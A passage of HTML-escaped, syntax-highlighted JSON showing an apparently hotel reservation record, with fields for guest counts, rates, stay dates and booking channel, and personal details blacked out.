&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;LANG&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EXT_REFERENCE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COMMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;VOUCHERNUMBER&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_PARAMETERS_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;T_SPECIAL_MEAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_BRACELET_CONSENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NUMBEROFPERSONS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDREN_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CREDITALLOWED&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERS_ADDRESS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERS_RATE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;R&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;UF&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISDEFAULT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Y&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;QUANTITY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPES&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPE_DESC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;All rate filters&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPE_KEY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████████&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RATE_SEGMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISPACKAGE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Y&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISPROTECTED&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;N&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COUNTRY_OF_BIRTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MATCHCODE_ADM&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MATCHCODE_SM&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TYPE_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PO_BOX&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTBAGGAGE_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_CITY_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;STREET&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████████ ███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DEP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2025-01-███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CITY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CITY2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;INSURANCETYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;POST_AREA&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TITLE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_STREET_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;FAX&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;VIP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;VIP2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;KITCHEN_COMMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      ],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ADDRESS_CORRESPONDENCE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_ZIPCODE_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RESCHANNELLIST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RESCHANNEL&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISPRICEOWNER&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Y&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COMMISSION&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TOTAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MATCHCODE_SM&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CENTRALGUEST_ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;████████████&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MATCHCODE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OBJID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;██████&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CONTACT_ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;IDX&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NOROOMS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ROOMINGLIST_STATISTICS&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERSONNIGHTS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NOADULDS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NOCHILDSFREE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ROMMINGLISTISCOMPLETE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Y&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NOADULDSFREE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ROOMNIGHTS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NOCHILDS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SUB_NR&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EMAIL2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TYPE_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_NAME_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EMAIL1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ARR_TIME&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PROMOCODE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TEC_COMMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CHANNEL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;01&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERS_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SALES_DATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2024-██-██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RATE_SEGMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SOURCE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_STREET_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PHONE2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PHONE1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUARANTEE_TYPE_DESC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TIME_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COUNTRY_CODE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUARANTEE_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_NUMBER&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ARR&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2025-01-01&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
